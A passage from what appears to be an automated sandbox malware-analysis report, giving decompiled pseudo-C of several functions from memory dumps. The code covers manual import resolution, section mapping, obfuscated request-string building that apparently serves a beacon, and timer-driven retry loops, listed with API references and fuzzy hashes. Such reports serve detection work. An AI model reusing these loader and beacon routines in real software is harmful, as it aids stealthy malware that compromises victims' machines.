				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x1000414c;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001745
0x1000174e
0x10001753
0x10001759
0x10001762
0x10001768
0x1000176a
0x1000176d
0x10001772
0x10001779
0x10001779
0x1000177d
0x10001785
0x10001788
0x00000000
0x00000000
0x1000178e
0x10001798
0x1000179a
0x1000179d
0x100017a0
0x100017a4
0x100017ac
0x100017ae
0x100017b1
0x10001819
0x10001819
0x1000181d
0x00000000
0x00000000
0x100017b6
0x100017bc
0x100017be
0x100017d1
0x100017d4
0x100017d4
0x100017d4
0x100017d8
0x100017c0
0x100017c0
0x100017c8
0x100017ca
0x00000000
0x00000000
0x00000000
0x00000000
0x100017ca
0x100017b8
0x100017b8
0x100017cc
0x100017cc
0x100017cc
0x100017db
0x100017de
0x100017e0
0x100017e7
0x100017e2
0x100017e2
0x100017e2
0x100017ef
0x100017f5
0x100017f7
0x10001827
0x100017f9
0x100017f9
0x100017fc
0x100017fe
0x10001806
0x10001806
0x1000180b
0x1000180d
0x10001814
0x10001816
0x10001816
0x10001816
0x00000000
0x10001816
0x00000000
0x100017f7
0x100017a6
0x100017a8
0x100017aa
0x00000000
0x00000000
0x100017aa
0x1000182a
0x1000182a
0x10001831
0x10001836
0x00000000
0x00000000
0x1000183c
0x10001847
0x00000000
0x10001847
0x1000183e
0x1000183e
0x10001844
0x00000000
0x10001844
0x10001772
0x10001848
0x1000184d

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D
GetProcAddress.KERNEL32(?,00000000), ref: 100017EF

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E10001D9F(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x10001db1
0x10001db7
0x10001dc5
0x10001dcc
0x10001dd1
0x10001dd7
0x00000000
0x10001dd8
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 49ce00a74c5026685ddf57a3213c5fc1fdcbf11da22bef7e297f1a427f47f248
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 42F01CB690020CBFEB119FA5DC85C9FBBBDEB44298B10497AB652E1094D6309E089A60

Uniqueness

Uniqueness Score: -1.00%

Function 00928B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00928B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x92d018; // 0x1f7541c4
				asm("bswap eax");
				_t61 =  *0x92d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x92d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x92d00c; // 0xeec43f25
				asm("bswap eax");
				_t64 =  *0x92d27c; // 0x298a5a8
				_t3 = _t64 + 0x92e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x92d02c,  *0x92d004, _t59);
				_t67 = E00921C1A();
				_t68 =  *0x92d27c; // 0x298a5a8
				_t4 = _t68 + 0x92e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E009254BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x92d27c; // 0x298a5a8
					_t7 = _t127 + 0x92e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x92d238, 0, _v8);
				}
				_t73 = E00927649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x92d27c; // 0x298a5a8
					_t11 = _t122 + 0x92e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x92d238, 0, _v8);
				}
				_t147 =  *0x92d32c; // 0x32b95b0
				_t75 = E00929395(0x92d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					HeapFree( *0x92d238, _t153, _a16);
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x92d238, 0, 0x800);
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x92d238, _t153, _v20);
						goto L26;
					}
					E00927A80(GetTickCount());
					_t82 =  *0x92d32c; // 0x32b95b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x92d32c; // 0x32b95b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x92d32c; // 0x32b95b0
					_t149 = E00928307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						HeapFree( *0x92d238, _t153, _v8);
						goto L25;
					}
					StrTrimA(_t149, 0x92c2ac);
					_push(_t149);
					_t94 = E00923CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x92d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E0092809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E0092A1B0();
						L22:
						HeapFree( *0x92d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E009243DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E0092163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E00929039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E009285DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E00929039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x00928b94
0x00928b94
0x00928b94
0x00928b9f
0x00928ba6
0x00928ba8
0x00928ba8
0x00928bb5
0x00928bc0
0x00928bc3
0x00928bc8
0x00928bd1
0x00928bd4
0x00928bd9
0x00928bdc
0x00928be1
0x00928be4
0x00928bf0
0x00928bfd
0x00928bff
0x00928c05
0x00928c0a
0x00928c15
0x00928c17
0x00928c1a
0x00928c1c
0x00928c23
0x00928c29
0x00928c2c
0x00928c2f
0x00928c34
0x00928c41
0x00928c43
0x00928c49
0x00928c53
0x00928c53
0x00928c55
0x00928c5c
0x00928c5f
0x00928c62
0x00928c67
0x00928c74
0x00928c76
0x00928c84
0x00928c84
0x00928c86
0x00928c94
0x00928c99
0x00928c9d
0x00928ca0
0x00928e63
0x00928e6d
0x00928e76
0x00928ca6
0x00928cb2
0x00928cba
0x00928cbd
0x00928e57
0x00928e61
0x00000000
0x00928e61
0x00928cc9
0x00928cce
0x00928cd7
0x00928ce8
0x00928cec
0x00928cf5
0x00928cfb
0x00928d0a
0x00928d11
0x00928d1a
0x00928d20
0x00928e4b
0x00928e55
0x00000000
0x00928e55
0x00928d2c
0x00928d32
0x00928d33
0x00928d3a
0x00928d3d
0x00928e41
0x00928e49
0x00000000
0x00928e49
0x00928d46
0x00928d4d
0x00928d55
0x00928d5a
0x00928d63
0x00928d69
0x00928d70
0x00928d77
0x00928d7a
0x00928e79
0x00928e2d
0x00928e2d
0x00928e32
0x00928e3d
0x00928e3f
0x00000000
0x00928e3f
0x00928d84
0x00928d8b
0x00928d8e
0x00928d93
0x00928d9e
0x00928da3
0x00928da6
0x00928dac
0x00928db2
0x00928db8
0x00928dbb
0x00928dc1
0x00928dc4
0x00928dc9
0x00928dcd
0x00928dcd
0x00928dd9
0x00928de5
0x00928de9
0x00928deb
0x00928df0
0x00928df2
0x00928df7
0x00928dfc
0x00928e09
0x00928e11
0x00928e14
0x00928e14
0x00928df0
0x00000000
0x00928ddb
0x00928ddf
0x00928e16
0x00928e19
0x00928e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00928e22
0x00928de1
0x00000000
0x00928de1
0x00928dd9

APIs

GetTickCount.KERNEL32 ref: 00928BA8
wsprintfA.USER32 ref: 00928BF8
wsprintfA.USER32 ref: 00928C15
wsprintfA.USER32 ref: 00928C41
HeapFree.KERNEL32(00000000,?), ref: 00928C53
wsprintfA.USER32 ref: 00928C74
HeapFree.KERNEL32(00000000,?), ref: 00928C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00928CB2
GetTickCount.KERNEL32 ref: 00928CC3
RtlEnterCriticalSection.NTDLL(032B9570), ref: 00928CD7
RtlLeaveCriticalSection.NTDLL(032B9570), ref: 00928CF5

Part of subcall function 00928307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,0092A428,?,032B95B0), ref: 00928332
Part of subcall function 00928307: lstrlen.KERNEL32(?,?,?,0092A428,?,032B95B0), ref: 0092833A
Part of subcall function 00928307: strcpy.NTDLL ref: 00928351
Part of subcall function 00928307: lstrcat.KERNEL32(00000000,?), ref: 0092835C
Part of subcall function 00928307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0092A428,?,032B95B0), ref: 00928379

StrTrimA.SHLWAPI(00000000,0092C2AC,?,032B95B0), ref: 00928D2C

Part of subcall function 00923CC8: lstrlen.KERNEL32(032B9910,00000000,00000000,7742C740,0092A453,00000000), ref: 00923CD8
Part of subcall function 00923CC8: lstrlen.KERNEL32(?), ref: 00923CE0
Part of subcall function 00923CC8: lstrcpy.KERNEL32(00000000,032B9910), ref: 00923CF4
Part of subcall function 00923CC8: lstrcat.KERNEL32(00000000,?), ref: 00923CFF

lstrcpy.KERNEL32(00000000,?), ref: 00928D4D
lstrcpy.KERNEL32(?,?), ref: 00928D55
lstrcat.KERNEL32(?,?), ref: 00928D63
lstrcat.KERNEL32(?,00000000), ref: 00928D69

Part of subcall function 0092809F: lstrlen.KERNEL32(?,00000000,0092D330,00000001,00922200,0092D00C,0092D00C,00000000,00000005,00000000,00000000,?,?,?,009296C1,009223E9), ref: 009280A8
Part of subcall function 0092809F: mbstowcs.NTDLL ref: 009280CF
Part of subcall function 0092809F: memset.NTDLL ref: 009280E1

wcstombs.NTDLL ref: 00928DFC

Part of subcall function 0092163F: SysAllocString.OLEAUT32(?), ref: 00921680
Part of subcall function 0092163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 00921702
Part of subcall function 0092163F: StrStrIW.SHLWAPI(?,006E0069), ref: 00921741

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

HeapFree.KERNEL32(00000000,?,?), ref: 00928E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00928E49
HeapFree.KERNEL32(00000000,?,?,032B95B0), ref: 00928E55
HeapFree.KERNEL32(00000000,?), ref: 00928E61
HeapFree.KERNEL32(00000000,?), ref: 00928E6D

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 5085c0067012eccf7476066826abb867fa377437d541e612a025f151c23f5abf
Instruction ID: 159c680319dde12eca6db6f4ffaba91c887e443feb2e807ec1aefee017c5faf8
Opcode Fuzzy Hash: 5085c0067012eccf7476066826abb867fa377437d541e612a025f151c23f5abf
Instruction Fuzzy Hash: A6915C71906218EFDB21EFA4EC88AAE7BB9EF48350F144054F804E7261DB31DD52EB60

Uniqueness

Uniqueness Score: -1.00%

Function 0092ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0092ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x920000;
				_t115 = _t139[3] + 0x920000;
				_t131 = _t139[4] + 0x920000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x920000;
				_v16 = _t139[5] + 0x920000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x920002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x92d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x92d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x92d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x92d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x92d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x92d198; // 0x0
										 *_t102 = _t125;
										 *0x92d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x92d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0092adf4
0x0092ae0a
0x0092ae10
0x0092ae12
0x0092ae17
0x0092ae1d
0x0092ae22
0x0092ae25
0x0092ae33
0x0092ae3a
0x0092ae3d
0x0092ae40
0x0092ae41
0x0092ae44
0x0092ae47
0x0092ae4a
0x0092ae4f
0x0092ae5e
0x00000000
0x0092ae64
0x0092ae6e
0x0092ae78
0x0092ae7d
0x0092ae7f
0x0092ae89
0x0092ae8c
0x0092ae8f
0x0092ae95
0x0092ae97
0x0092ae97
0x0092ae9a
0x0092ae9d
0x0092aea2
0x0092aea6
0x0092aeb9
0x0092aebb
0x0092af63
0x0092af63
0x0092af6a
0x0092af6d
0x0092af77
0x0092af77
0x0092af7b
0x0092aff9
0x0092affc
0x0092affe
0x0092affe
0x0092b005
0x0092b007
0x0092b011
0x0092b014
0x0092b017
0x0092b017
0x00000000
0x0092af7d
0x0092af80
0x0092afae
0x0092afb8
0x0092afbc
0x0092afc4
0x0092afc7
0x0092afce
0x0092afd8
0x0092afd8
0x0092afdc
0x0092afe1
0x0092aff0
0x0092aff6
0x0092aff6
0x0092afdc
0x00000000
0x0092af87
0x0092af8a
0x0092af92
0x0092afa7
0x0092afac
0x00000000
0x00000000
0x0092afac
0x00000000
0x0092af92
0x0092af80
0x0092af7b
0x0092aec1
0x0092aec8
0x0092aed8
0x0092aedb
0x0092aee1
0x0092aee5
0x0092af28
0x0092af34
0x0092af5d
0x0092af36
0x0092af3a
0x0092af40
0x0092af48
0x0092af4a
0x0092af4d
0x0092af53
0x0092af55
0x0092af55
0x0092af48
0x0092af3a
0x00000000
0x0092af34
0x0092aeed
0x0092aef0
0x0092aef7
0x0092af07
0x0092af0a
0x0092af1a
0x00000000
0x0092af20
0x0092af01
0x0092af05
0x00000000
0x00000000
0x00000000
0x0092af05
0x0092aed2
0x0092aed6
0x00000000
0x00000000
0x00000000
0x0092aed6
0x0092aeaf
0x0092aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0092AE5E
LoadLibraryA.KERNELBASE(?), ref: 0092AEDB
GetLastError.KERNEL32 ref: 0092AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0092AF1A

Strings

$, xrefs: 0092AE33

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 063befb3499272075a2e338eb59fd8beb784f345e651cd69b88eb31de374c32c
Instruction ID: ab0636e71867391bf93bb8eaf5771800f24d4432b45665eaf69b5f83865e0b4f
Opcode Fuzzy Hash: 063befb3499272075a2e338eb59fd8beb784f345e651cd69b88eb31de374c32c
Instruction Fuzzy Hash: E4815BB2A51215EFDB24CF98E980AEEB7F9FF48300F108029E915E7254E774E945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00926786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00926786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x92d240);
					_v20 = 0;
					_v16 = 0;
					L0092B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x92d26c; // 0x224
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x92d24c = 5;
						} else {
							_t68 = E009273FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x92d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E00928504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E00923BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x92d244);
							goto L21;
						} else {
							__eflags =  *0x92d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E0092A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x92d248);
								L21:
								L0092B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x92d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x00926786
0x00926798
0x0092679b
0x009267a7
0x009267af
0x009267b2
0x00926919
0x009267b8
0x009267b8
0x009267ba
0x009267bf
0x009267c0
0x009267c6
0x009267c9
0x009267cc
0x009267da
0x009267e5
0x009267e8
0x009267ea
0x009267f7
0x00926801
0x00926805
0x00926808
0x0092680d
0x00926818
0x00926818
0x0092680f
0x0092680f
0x00926816
0x00000000
0x00000000
0x00926816
0x00926822
0x00000000
0x00926825
0x00926829
0x00926834
0x00926834
0x0092683b
0x00926844
0x0092684b
0x00926854
0x00926857
0x0092685a
0x00926861
0x00926864
0x00000000
0x00000000
0x00926866
0x00926869
0x0092686c
0x0092686f
0x00000000
